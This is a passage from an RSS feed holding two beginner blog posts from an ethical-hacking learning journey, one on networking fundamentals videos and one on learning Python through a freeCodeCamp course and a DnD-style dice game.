            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-GfNhMMR4zKSJ4n8iJi0w.png" /></figure><p>The next step of my journey was into the fundamentals of networking. In this step I learnt what networking actually is, how the internet works and details into how networking is structured into various layers and the different responsibilities and functions of each layer.</p><p>The first video that I watched was by <a href="https://medium.com/u/6dadd1681332">TomNomNom</a> called “Network Fundamentals”:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9uebakqWlB0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9uebakqWlB0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F9uebakqWlB0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d8672439ae9dab0a13b905acbd6d4cf5/href">https://medium.com/media/d8672439ae9dab0a13b905acbd6d4cf5/href</a></iframe><p>In this video Tom takes you through an overview of networking, mostly referencing the “Internet Protocol Suite” or IPS, which is a four layered model to help describe the different processes of networking which Tom explains is perhaps a neater way of presenting the “OSI Model” as the Application layer could also cover the Presentation and Session layers. I found this video extremely informative and even though Tom mentions a couple of times that his illustrations aren’t very good, I found them extremely helpful to be able to visualise the various processes as without them I think I may have gotten even more lost than I did at times. I did have to rewatch this video multiple times to be able to gain a greater understanding of the content as there is SO MUCH INFORMATION in here for someone that knows very little about networking. The slides are also available to download which is a nice addition when writing notes whilst watching the video. The thing I found most useful about this video is how Tom has explained how computers communicate as if they were human. This context helped me understand that the request/response process is still a type of conversation (as blunt and “passive aggressive” as they might sound to one another!) which has certain rules to help ensure that information is not lost. This is done through the Transport Control Protocol’s (TCP) Synchronise and Acknowledge process which is also known as “The Three Way Handshake”.</p><p>For me, I find it hard to move on if I haven’t fully understood something and as Tom’s video doesn’t explain how cables and binary work, I felt I needed to understand some prerequisites to the content so I found it helpful to watch a series on networking fundamentals by Network Direction starting with Introduction to Networking: Networking Fundamentals Part 1:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FcNwEVYkx2Kk%3Flist%3DPLDQaRcbiSnqF5U8ffMgZzS7fq1rHUI3Q8&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcNwEVYkx2Kk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FcNwEVYkx2Kk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3fb6875e040ad0f37d6d2c2ab712756c/href">https://medium.com/media/3fb6875e040ad0f37d6d2c2ab712756c/href</a></iframe><p>This series of videos on networking fundamentals helped explain some of the physical components of networking that isn’t covered in Tom’s video as well as adding a little more context to some of the layers as well as explaining the OSI Model layers. I didn’t realise there was so much to know about cables! These videos are easy to follow with graphics to help out along the way. I even found that I had to do a quick crash course in binary so could understand some of the concepts. Luckily Network Direction have also completed a short video explaining how binary actually works:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fo9BIuMklUWA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Do9BIuMklUWA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fo9BIuMklUWA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7a8e54d6b590edf05fa00b7102b17419/href">https://medium.com/media/7a8e54d6b590edf05fa00b7102b17419/href</a></iframe><p>I will definitely be recapping these videos again in the near future to make sure that I understand the Internet Protocol Suite in detail and then after that if there is anything I am unsure of I will be able to focus on in more detail. With the amount of information in these videos it was a little overwhelming at times with lots of abbreviations and various code so watching it multiple times with breaks of a day or 2 in between were very helpful so I had time to process the information.</p><p>I’m very much a practical learner so I think I might find some of this hard to fully comprehend or retain until I am doing it but from not knowing anything about networking, these videos have given me a basic understanding of networking in its simplest form and is a good base to start with. I don’t want to go too much further (if that’s even possible) without being able to recall 90% of this information as this could potentially cause problems down the track.</p><p>If you’ve got the end of this post, are a complete beginner like myself and looking to watch these videos then I would recommend going backwards through the order for these videos: Binary then Intro to Networking (Network Direction series) and then Networking Fundamentals. I did it the other way round as I had to discover what I didn’t know first! Thank you to the video creators for these awesome and helpful videos!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3261584241ca" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/learning-how-to-ethical-hack-step-2-networking-fundamentals-3261584241ca">An Introduction to Networking for Hackers.</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning How To Ethical Hack: Step 1 — Learn Python.]]></title>
            <link>https://systemweakness.com/learning-how-to-ethical-hack-step-1-learn-python-eb77cd8c877a?source=rss-1d0998bdb4f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb77cd8c877a</guid>
            <category><![CDATA[learning-to-code]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[learn-to-code]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[HackTheBridge]]></dc:creator>
            <pubDate>Tue, 14 Dec 2021 10:08:13 GMT</pubDate>
            <atom:updated>2021-12-20T07:09:08.125Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYvukbWMsUk9cXtbvVgduw.png" /></figure><h3>Learning How To Ethical Hack: Step 1 — Learn Python.</h3><p><strong>The Resource</strong></p><p>I am now coming to the end of my first week of my journey aiming to go from zero experience to OSCP Certification in just 6 months. I have spent this week learning the very basics of what could be considered the pre-prerequisites (maybe even pre-pre-prerequisites!) required before taking the OSCP Certification exam.</p><p>The video that I have been studying is the <a href="https://medium.com/u/8b318225c16a">freeCodeCamp</a> video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FrfscVS0vtbw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DrfscVS0vtbw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FrfscVS0vtbw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8b103e0173fba7a64c62eba837d4138e/href">https://medium.com/media/8b103e0173fba7a64c62eba837d4138e/href</a></iframe><p>This is 4 hours 30 minutes of information on how to use Python for beginners from my first Hello World to creating Objects, Classes and While Loops. I felt the information in the video was really well presented and easy to follow. The examples that were used were relatable and the coding jargon was broken down so, even for a complete beginner, it was quick to pick up.</p><p>The presenter (and course developer) Mike Dane did an amazing job at making the content interesting and is obviously enthusiastic and passionate about teaching this subject. Cheers Mike!</p><p><strong>My Method</strong></p><blockquote>Tip: Before starting go to the Comments section (<a href="https://www.youtube.com/watch?v=rfscVS0vtbw&amp;t=10818s">3:00:18</a>) so you don’t end up print(“NOTE…”) for every note that you want to include in the code like I did! Essentially you can write # at the start of a new line and then write your note without needing to provide any code as the # tells the program to ignore this line. I used this to write notes and hints in each lesson as I went along.</blockquote><p>The course is split up into the 35 Sections so I created a Directory for this course including a .py file for each lesson. I copied the code from the video word for word into my project in PyCharm before attempting to adapt or edit the code to make it more personal. I also added #comments into each file when Mike explains something important on the video and to also remind me where data has been pulled from etc. I did this as I wanted to create a directory that allows me to easily flick between files when writing my own programmes and so I can recap how to do certain things. At the end of each lesson I would attempt to rewrite the code from memory and apply it to a different scenario or set of parameters. Doing this really helped me to start to remember the small things like putting a : at the end of a while statement and using str() before a number if using in conjunction with a string. I have also discovered how awesome Python is at hinting/reminding you to do these things which also makes the process of trying it yourself much more pleasant than I imagined! It has allowed me to develop a process of trial and error when trying to write my own code and given me confidence to try it myself.</p><p><strong>Applying the course</strong></p><figure><img alt="HackTheBridge RPG Game" src="https://cdn-images-1.medium.com/max/768/1*beY2svOwmZi-AlMZ6kLRgQ.jpeg" /></figure><p>During the Modules and Pip lesson, Mike shows a module called useful_tools. This includes a dice rolling tool. Being a Dungeons and Dragons fan, when he explained that you can set the number of sides for the dice, my instant reaction was to start thinking about how I could make a DnD style game! I ran a couple of simple tests to see how the tool works in conjunction with if statements and I was hooked on the idea. I am now in the process of figuring out how I can apply every part of the course to this DnD game so I can have a focus to help put into practice the teachings of the course. The thing I love about the concept of a DND style game is that it can start from a very simple roll based fighting game where the player can hit a target and reduce it’s health to 0 based on a roll of a die, and can evolve into much more when bringing in different classes, different attacks, healing, experience points and levelling up and so much more. I will post a separate blog on my progress with the DnD game as I can see this getting out of hand and turning this step by step journey into the ins and outs of this game. I didn’t even know what a “Hello World” was at the start of the week so I’m pretty stoked with how it is going though and it has been really rewarding.</p><p>Anyway, the point I’m trying to make is that I have found it extremely powerful to find something in the course that is exciting and run with it to create a program that I find interesting and fun. This has allowed me to focus on what I want the program to do and really think about how each lesson could be applied and forced me to practice, in more depth, how to implement the various code presented in the course.</p><p><strong>Wrap it up</strong></p><p>To wrap it up, I highly recommend this course as I feel it has been well put together and the thoughtful content which has been simplified to help beginners has allowed me to progress quickly and take on a lot of information in a short space of time.</p><p>Splitting up the course into lessons and adding #notes to the files was a great way to remind myself when returning to that lesson for reference of what the function/statement does and how it can be applied.</p><p>Finding something that I am excited about has created focus and motivation to learn more and apply the course to a more complex project than those described in the course. It has also been great for practicing and implementing the code and has allowed me to concentrate for hours on end, with lots of trial and error, to achieve tasks that I want my programme to be able to execute. I’m sure there are better ways to do things as your progress using python however I think just giving it a go is a great way to get used to the Python language and PyCharm.</p><p><strong>Next Week…</strong></p><p>Next week is all about Networking Fundamentals and really trying to get my head around the basics of networking.</p><p>Are they too long or too short, enjoyable or boring? This is the first blog I’ve ever tried to start so would love some feedback! Thanks for staying until the end! All of your support is much appreciated!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb77cd8c877a" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/learning-how-to-ethical-hack-step-1-learn-python-eb77cd8c877a">Learning How To Ethical Hack: Step 1 — Learn Python.</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>